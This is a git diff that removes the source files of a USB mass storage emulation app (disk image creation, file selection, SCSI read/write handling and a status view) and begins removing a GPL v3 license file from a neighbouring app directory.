a/applications/external/mass_storage/scenes/mass_storage_scene.c b/applications/external/mass_storage/scenes/mass_storage_scene.c deleted file mode 100644 index bab24ca40..000000000 --- a/applications/external/mass_storage/scenes/mass_storage_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "mass_storage_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const mass_storage_scene_on_enter_handlers[])(void*) = { -#include "mass_storage_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const mass_storage_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "mass_storage_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const mass_storage_scene_on_exit_handlers[])(void* context) = { -#include "mass_storage_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers mass_storage_scene_handlers = { - .on_enter_handlers = mass_storage_scene_on_enter_handlers, - .on_event_handlers = mass_storage_scene_on_event_handlers, - .on_exit_handlers = mass_storage_scene_on_exit_handlers, - .scene_num = MassStorageSceneNum, -}; diff --git a/applications/external/mass_storage/scenes/mass_storage_scene.h b/applications/external/mass_storage/scenes/mass_storage_scene.h deleted file mode 100644 index d43bb4c97..000000000 --- a/applications/external/mass_storage/scenes/mass_storage_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) MassStorageScene##id, -typedef enum { -#include "mass_storage_scene_config.h" - MassStorageSceneNum, -} MassStorageScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers mass_storage_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "mass_storage_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "mass_storage_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "mass_storage_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/mass_storage/scenes/mass_storage_scene_config.h b/applications/external/mass_storage/scenes/mass_storage_scene_config.h deleted file mode 100644 index ff0418fdf..000000000 --- a/applications/external/mass_storage/scenes/mass_storage_scene_config.h +++ /dev/null @@ -1,5 +0,0 @@ -ADD_SCENE(mass_storage, start, Start) -ADD_SCENE(mass_storage, file_select, FileSelect) -ADD_SCENE(mass_storage, work, Work) -ADD_SCENE(mass_storage, create_image, CreateImage) -ADD_SCENE(mass_storage, create_image_name, CreateImageName) diff --git a/applications/external/mass_storage/scenes/mass_storage_scene_create_image.c b/applications/external/mass_storage/scenes/mass_storage_scene_create_image.c deleted file mode 100644 index a2ad46ef6..000000000 --- a/applications/external/mass_storage/scenes/mass_storage_scene_create_image.c +++ /dev/null @@ -1,187 +0,0 @@ -#include "../mass_storage_app_i.h" -#include - -enum VarItemListIndex { - VarItemListIndexImageSize, - VarItemListIndexImageName, - VarItemListIndexCreateImage, -}; - -void mass_storage_scene_create_image_var_item_list_callback(void* context, uint32_t index) { - MassStorageApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -static const struct { - char* name; - uint64_t value; -} image_sizes[] = { - {"1MB", 1LL * 1024 * 1024}, - {"2MB", 2LL * 1024 * 1024}, - {"4MB", 4LL * 1024 * 1024}, - {"8MB", 8LL * 1024 * 1024}, - {"16MB", 16LL * 1024 * 1024}, - {"32MB", 32LL * 1024 * 1024}, - {"64MB", 64LL * 1024 * 1024}, - {"128MB", 128LL * 1024 * 1024}, - {"256MB", 256LL * 1024 * 1024}, - {"512MB", 512LL * 1024 * 1024}, - {"1GB", 1LL * 1024 * 1024 * 1024}, - {"2GB", 2LL * 1024 * 1024 * 1024}, - {"4GB", 4LL * 1024 * 1024 * 1024}, - {"8GB", 8LL * 1024 * 1024 * 1024}, - {"16GB", 16LL * 1024 * 1024 * 1024}, - {"32GB", 32LL * 1024 * 1024 * 1024}, - {"64GB", 64LL * 1024 * 1024 * 1024}, - {"128GB", 128LL * 1024 * 1024 * 1024}, - {"256GB", 256LL * 1024 * 1024 * 1024}, - {"512GB", 512LL * 1024 * 1024 * 1024}, -}; -static void mass_storage_scene_create_image_image_size_changed(VariableItem* item) { - MassStorageApp* app = variable_item_get_context(item); - app->create_image_size = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, image_sizes[app->create_image_size].name); -} - -void mass_storage_scene_create_image_on_enter(void* context) { - MassStorageApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - VariableItem* item; - - uint8_t size_count = COUNT_OF(image_sizes); - if(app->create_image_max) { - for(size_t i = 1; i < size_count; i++) { - if(image_sizes[i].value > app->create_image_max) { - size_count = i; - break; - } - } - } - if(app->create_image_size == (uint8_t)-1) { - app->create_image_size = CLAMP(7, size_count - 2, 0); // 7 = 128MB - } - item = variable_item_list_add( - var_item_list, - "Image Size", - size_count, - mass_storage_scene_create_image_image_size_changed, - app); - variable_item_set_current_value_index(item, app->create_image_size); - variable_item_set_current_value_text(item, image_sizes[app->create_image_size].name); - - item = variable_item_list_add(var_item_list, "Image Name", 0, NULL, app); - variable_item_set_current_value_text(item, app->create_image_name); - - variable_item_list_add(var_item_list, "Create Image", 0, NULL, app); - - variable_item_list_set_enter_callback( - var_item_list, mass_storage_scene_create_image_var_item_list_callback, app); - - variable_item_list_set_header(var_item_list, "Create Disk Image"); - - variable_item_list_set_selected_item( - var_item_list, - scene_manager_get_scene_state(app->scene_manager, MassStorageSceneCreateImage)); - - view_dispatcher_switch_to_view(app->view_dispatcher, MassStorageAppViewVarItemList); -} - -static void popup_callback_ok(void* context) { - MassStorageApp* app = context; - scene_manager_set_scene_state( - app->scene_manager, MassStorageSceneStart, MassStorageSceneFileSelect); - scene_manager_previous_scene(app->scene_manager); - scene_manager_next_scene(app->scene_manager, MassStorageSceneFileSelect); -} - -static void popup_callback_error(void* context) { - MassStorageApp* app = context; - view_dispatcher_switch_to_view(app->view_dispatcher, MassStorageAppViewVarItemList); -} - -bool mass_storage_scene_create_image_on_event(void* context, SceneManagerEvent event) { - MassStorageApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state( - app->scene_manager, MassStorageSceneCreateImage, event.event); - consumed = true; - switch(event.event) { - case VarItemListIndexImageName: - scene_manager_next_scene(app->scene_manager, MassStorageSceneCreateImageName); - break; - case VarItemListIndexCreateImage: { - mass_storage_app_show_loading_popup(app, true); - const char* name = strnlen(app->create_image_name, sizeof(app->create_image_name)) ? - app->create_image_name : - image_sizes[app->create_image_size].name; - furi_string_printf( - app->file_path, - "%s/%s%s", - MASS_STORAGE_APP_PATH_FOLDER, - name, - MASS_STORAGE_APP_EXTENSION); - - app->file = storage_file_alloc(app->fs_api); - const char* error = NULL; - bool success = false; - - size_t wipe_4k = 4096; - uint8_t* buffer = malloc(wipe_4k); - do { - if(!storage_file_open( - app->file, - furi_string_get_cstr(app->file_path), - FSAM_WRITE, - FSOM_CREATE_NEW)) - break; - - uint64_t size = image_sizes[app->create_image_size].value; - if(size == app->create_image_max) size--; - if(!storage_file_expand(app->file, size)) break; - - // Zero out first 4k - partition table and adjacent data - if(!storage_file_seek(app->file, 0, true)) break; - if(!storage_file_write(app->file, buffer, wipe_4k)) break; - - success = true; - } while(false); - free(buffer); - - if(!success) { - error = storage_file_get_error_desc(app->file); - storage_file_close(app->file); - storage_common_remove(app->fs_api, furi_string_get_cstr(app->file_path)); - } - storage_file_free(app->file); - mass_storage_app_show_loading_popup(app, false); - - if(error) { - popup_set_header( - app->popup, "Error Creating Image!", 64, 26, AlignCenter, AlignCenter); - popup_set_text(app->popup, error, 64, 40, AlignCenter, AlignCenter); - popup_set_callback(app->popup, popup_callback_error); - } else { - popup_set_header(app->popup, "Image Created!", 64, 32, AlignCenter, AlignCenter); - popup_set_text(app->popup, "", 0, 0, AlignLeft, AlignBottom); - popup_set_callback(app->popup, popup_callback_ok); - } - popup_set_context(app->popup, app); - popup_set_timeout(app->popup, 0); - popup_disable_timeout(app->popup); - view_dispatcher_switch_to_view(app->view_dispatcher, MassStorageAppViewPopup); - break; - } - default: - break; - } - } - - return consumed; -} - -void mass_storage_scene_create_image_on_exit(void* context) { - MassStorageApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/mass_storage/scenes/mass_storage_scene_create_image_name.c b/applications/external/mass_storage/scenes/mass_storage_scene_create_image_name.c deleted file mode 100644 index 38efa7cb6..000000000 --- a/applications/external/mass_storage/scenes/mass_storage_scene_create_image_name.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "../mass_storage_app_i.h" - -enum TextInputIndex { - TextInputResultOk, -}; - -static void mass_storage_scene_create_image_name_text_input_callback(void* context) { - MassStorageApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void mass_storage_scene_create_image_name_on_enter(void* context) { - MassStorageApp* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Image name, empty = default"); - - text_input_set_minimum_length(text_input, 0); - - text_input_set_result_callback( - text_input, - mass_storage_scene_create_image_name_text_input_callback, - app, - app->create_image_name, - sizeof(app->create_image_name), - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, MassStorageAppViewTextInput); -} - -bool mass_storage_scene_create_image_name_on_event(void* context, SceneManagerEvent event) { - MassStorageApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_previous_scene(app->scene_manager); - break; - default: - break; - } - } - - return consumed; -} - -void mass_storage_scene_create_image_name_on_exit(void* context) { - MassStorageApp* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/mass_storage/scenes/mass_storage_scene_file_select.c b/applications/external/mass_storage/scenes/mass_storage_scene_file_select.c deleted file mode 100644 index 51d4f4dd2..000000000 --- a/applications/external/mass_storage/scenes/mass_storage_scene_file_select.c +++ /dev/null @@ -1,36 +0,0 @@ -#include "../mass_storage_app_i.h" -#include "furi_hal_power.h" - -static bool mass_storage_file_select(MassStorageApp* mass_storage) { - furi_assert(mass_storage); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, "*", &I_mass_storage_10px); - browser_options.base_path = MASS_STORAGE_APP_PATH_FOLDER; - browser_options.hide_ext = false; - - // Input events and views are managed by file_select - bool res = dialog_file_browser_show( - mass_storage->dialogs, mass_storage->file_path, mass_storage->file_path, &browser_options); - return res; -} - -void mass_storage_scene_file_select_on_enter(void* context) { - MassStorageApp* mass_storage = context; - - if(mass_storage_file_select(mass_storage)) { - scene_manager_next_scene(mass_storage->scene_manager, MassStorageSceneWork); - } else { - scene_manager_previous_scene(mass_storage->scene_manager); - } -} - -bool mass_storage_scene_file_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void mass_storage_scene_file_select_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/mass_storage/scenes/mass_storage_scene_start.c b/applications/external/mass_storage/scenes/mass_storage_scene_start.c deleted file mode 100644 index c85d73dab..000000000 --- a/applications/external/mass_storage/scenes/mass_storage_scene_start.c +++ /dev/null @@ -1,49 +0,0 @@ -#include "../mass_storage_app_i.h" - -static void mass_storage_scene_start_submenu_callback(void* context, uint32_t index) { - MassStorageApp* app = context; - scene_manager_set_scene_state(app->scene_manager, MassStorageSceneStart, index); - scene_manager_next_scene(app->scene_manager, index); -} - -void mass_storage_scene_start_on_enter(void* context) { - MassStorageApp* app = context; - Submenu* submenu = app->submenu; - - submenu_add_item( - submenu, - "Select Disk Image", - MassStorageSceneFileSelect, - mass_storage_scene_start_submenu_callback, - app); - - submenu_add_item( - submenu, - "Create Disk Image", - MassStorageSceneCreateImage, - mass_storage_scene_start_submenu_callback, - app); - scene_manager_set_scene_state(app->scene_manager, MassStorageSceneCreateImage, 0); - - submenu_set_header(submenu, "USB Mass Storage"); - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, MassStorageSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, MassStorageAppViewSubmenu); -} - -bool mass_storage_scene_start_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - } - - return consumed; -} - -void mass_storage_scene_start_on_exit(void* context) { - MassStorageApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/mass_storage/scenes/mass_storage_scene_work.c b/applications/external/mass_storage/scenes/mass_storage_scene_work.c deleted file mode 100644 index a2d533e4b..000000000 --- a/applications/external/mass_storage/scenes/mass_storage_scene_work.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "../mass_storage_app_i.h" -#include "../views/mass_storage_view.h" -#include "../helpers/mass_storage_usb.h" -#include - -#define TAG "MassStorageSceneWork" - -static bool file_read( - void* ctx, - uint32_t lba, - uint16_t count, - uint8_t* out, - uint32_t* out_len, - uint32_t out_cap) { - MassStorageApp* app = ctx; - FURI_LOG_T(TAG, "file_read lba=%08lX count=%04X out_cap=%08lX", lba, count, out_cap); - if(!storage_file_seek(app->file, lba * SCSI_BLOCK_SIZE, true)) { - FURI_LOG_W(TAG, "seek failed"); - return false; - } - uint16_t clamp = MIN(out_cap, count * SCSI_BLOCK_SIZE); - *out_len = storage_file_read(app->file, out, clamp); - FURI_LOG_T(TAG, "%lu/%lu", *out_len, count * SCSI_BLOCK_SIZE); - app->bytes_read += *out_len; - return *out_len == clamp; -} - -static bool file_write(void* ctx, uint32_t lba, uint16_t count, uint8_t* buf, uint32_t len) { - MassStorageApp* app = ctx; - FURI_LOG_T(TAG, "file_write lba=%08lX count=%04X len=%08lX", lba, count, len); - if(len != count * SCSI_BLOCK_SIZE) { - FURI_LOG_W(TAG, "bad write params count=%u len=%lu", count, len); - return false; - } - if(!storage_file_seek(app->file, lba * SCSI_BLOCK_SIZE, true)) { - FURI_LOG_W(TAG, "seek failed"); - return false; - } - app->bytes_written += len; - return storage_file_write(app->file, buf, len) == len; -} - -static uint32_t file_num_blocks(void* ctx) { - MassStorageApp* app = ctx; - return storage_file_size(app->file) / SCSI_BLOCK_SIZE; -} - -static void file_eject(void* ctx) { - MassStorageApp* app = ctx; - FURI_LOG_D(TAG, "EJECT"); - view_dispatcher_send_custom_event(app->view_dispatcher, MassStorageCustomEventEject); -} - -bool mass_storage_scene_work_on_event(void* context, SceneManagerEvent event) { - MassStorageApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == MassStorageCustomEventEject) { - consumed = scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, MassStorageSceneFileSelect); - if(!consumed) { - consumed = scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, MassStorageSceneStart); - } - } - } else if(event.type == SceneManagerEventTypeTick) { - mass_storage_set_stats(app->mass_storage_view, app->bytes_read, app->bytes_written); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, MassStorageSceneFileSelect); - if(!consumed) { - consumed = scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, MassStorageSceneStart); - } - } - return consumed; -} - -void mass_storage_scene_work_on_enter(void* context) { - MassStorageApp* app = context; - app->bytes_read = app->bytes_written = 0; - - if(!storage_file_exists(app->fs_api, furi_string_get_cstr(app->file_path))) { - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, MassStorageSceneStart); - return; - } - - mass_storage_app_show_loading_popup(app, true); - - app->usb_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - FuriString* file_name = furi_string_alloc(); - path_extract_filename(app->file_path, file_name, true); - - mass_storage_set_file_name(app->mass_storage_view, file_name); - app->file = storage_file_alloc(app->fs_api); - furi_assert(storage_file_open( - app->file, - furi_string_get_cstr(app->file_path), - FSAM_READ | FSAM_WRITE, - FSOM_OPEN_EXISTING)); - - SCSIDeviceFunc fn = { - .ctx = app, - .read = file_read, - .write = file_write, - .num_blocks = file_num_blocks, - .eject = file_eject, - }; - - app->usb = mass_storage_usb_start(furi_string_get_cstr(file_name), fn); - - furi_string_free(file_name); - - mass_storage_app_show_loading_popup(app, false); - view_dispatcher_switch_to_view(app->view_dispatcher, MassStorageAppViewWork); -} - -void mass_storage_scene_work_on_exit(void* context) { - MassStorageApp* app = context; - mass_storage_app_show_loading_popup(app, true); - - if(app->usb_mutex) { - furi_mutex_free(app->usb_mutex); - app->usb_mutex = NULL; - } - if(app->usb) { - mass_storage_usb_stop(app->usb); - app->usb = NULL; - } - if(app->file) { - storage_file_free(app->file); - app->file = NULL; - } - mass_storage_app_show_loading_popup(app, false); -} diff --git a/applications/external/mass_storage/views/mass_storage_view.c b/applications/external/mass_storage/views/mass_storage_view.c deleted file mode 100644 index 25eeb5c19..000000000 --- a/applications/external/mass_storage/views/mass_storage_view.c +++ /dev/null @@ -1,122 +0,0 @@ -#include "mass_storage_view.h" -#include "../mass_storage_app_i.h" -#include - -struct MassStorage { - View* view; -}; - -typedef struct { - FuriString *file_name, *status_string; - uint32_t read_speed, write_speed; - uint32_t bytes_read, bytes_written; - uint32_t update_time; -} MassStorageModel; - -static void append_suffixed_byte_count(FuriString* string, uint32_t count) { - if(count < 1024) { - furi_string_cat_printf(string, "%luB", count); - } else if(count < 1024 * 1024) { - furi_string_cat_printf(string, "%luK", count / 1024); - } else if(count < 1024 * 1024 * 1024) { - furi_string_cat_printf(string, "%.1fM", (double)count / (1024 * 1024)); - } else { - furi_string_cat_printf(string, "%.1fG", (double)count / (1024 * 1024 * 1024)); - } -} - -static void mass_storage_draw_callback(Canvas* canvas, void* _model) { - MassStorageModel* model = _model; - - canvas_draw_icon(canvas, 8, 14, &I_Drive_112x35); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, canvas_width(canvas) / 2, 0, AlignCenter, AlignTop, "USB Mass Storage"); - - canvas_set_font(canvas, FontBatteryPercent); - elements_string_fit_width(canvas, model->file_name, 89 - 2); - canvas_draw_str_aligned( - canvas, 92, 24, AlignRight, AlignBottom, furi_string_get_cstr(model->file_name)); - - furi_string_set_str(model->status_string, "R:"); - append_suffixed_byte_count(model->status_string, model->bytes_read); - if(model->read_speed) { - furi_string_cat_str(model->status_string, "/"); - append_suffixed_byte_count(model->status_string, model->read_speed); - furi_string_cat_str(model->status_string, "s"); - } - canvas_draw_str(canvas, 14, 34, furi_string_get_cstr(model->status_string)); - - furi_string_set_str(model->status_string, "W:"); - append_suffixed_byte_count(model->status_string, model->bytes_written); - if(model->write_speed) { - furi_string_cat_str(model->status_string, "/"); - append_suffixed_byte_count(model->status_string, model->write_speed); - furi_string_cat_str(model->status_string, "s"); - } - canvas_draw_str(canvas, 14, 43, furi_string_get_cstr(model->status_string)); -} - -MassStorage* mass_storage_alloc() { - MassStorage* mass_storage = malloc(sizeof(MassStorage)); - - mass_storage->view = view_alloc(); - view_allocate_model(mass_storage->view, ViewModelTypeLocking, sizeof(MassStorageModel)); - with_view_model( - mass_storage->view, - MassStorageModel * model, - { - model->file_name = furi_string_alloc(); - model->status_string = furi_string_alloc(); - }, - false); - view_set_context(mass_storage->view, mass_storage); - view_set_draw_callback(mass_storage->view, mass_storage_draw_callback); - - return mass_storage; -} - -void mass_storage_free(MassStorage* mass_storage) { - furi_assert(mass_storage); - with_view_model( - mass_storage->view, - MassStorageModel * model, - { - furi_string_free(model->file_name); - furi_string_free(model->status_string); - }, - false); - view_free(mass_storage->view); - free(mass_storage); -} - -View* mass_storage_get_view(MassStorage* mass_storage) { - furi_assert(mass_storage); - return mass_storage->view; -} - -void mass_storage_set_file_name(MassStorage* mass_storage, FuriString* name) { - furi_assert(name); - with_view_model( - mass_storage->view, - MassStorageModel * model, - { furi_string_set(model->file_name, name); }, - true); -} - -void mass_storage_set_stats(MassStorage* mass_storage, uint32_t read, uint32_t written) { - with_view_model( - mass_storage->view, - MassStorageModel * model, - { - uint32_t now = furi_get_tick(); - model->read_speed = (read - model->bytes_read) * 1000 / (now - model->update_time); - model->write_speed = - (written - model->bytes_written) * 1000 / (now - model->update_time); - model->bytes_read = read; - model->bytes_written = written; - model->update_time = now; - }, - true); -} diff --git a/applications/external/mass_storage/views/mass_storage_view.h b/applications/external/mass_storage/views/mass_storage_view.h deleted file mode 100644 index 2edbf2a62..000000000 --- a/applications/external/mass_storage/views/mass_storage_view.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -typedef struct MassStorage MassStorage; - -MassStorage* mass_storage_alloc(); - -void mass_storage_free(MassStorage* mass_storage); - -View* mass_storage_get_view(MassStorage* mass_storage); - -void mass_storage_set_file_name(MassStorage* mass_storage, FuriString* name); - -void mass_storage_set_stats(MassStorage* mass_storage, uint32_t read, uint32_t written); diff --git a/applications/external/mfkey32/LICENSE b/applications/external/mfkey32/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/mfkey32/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. 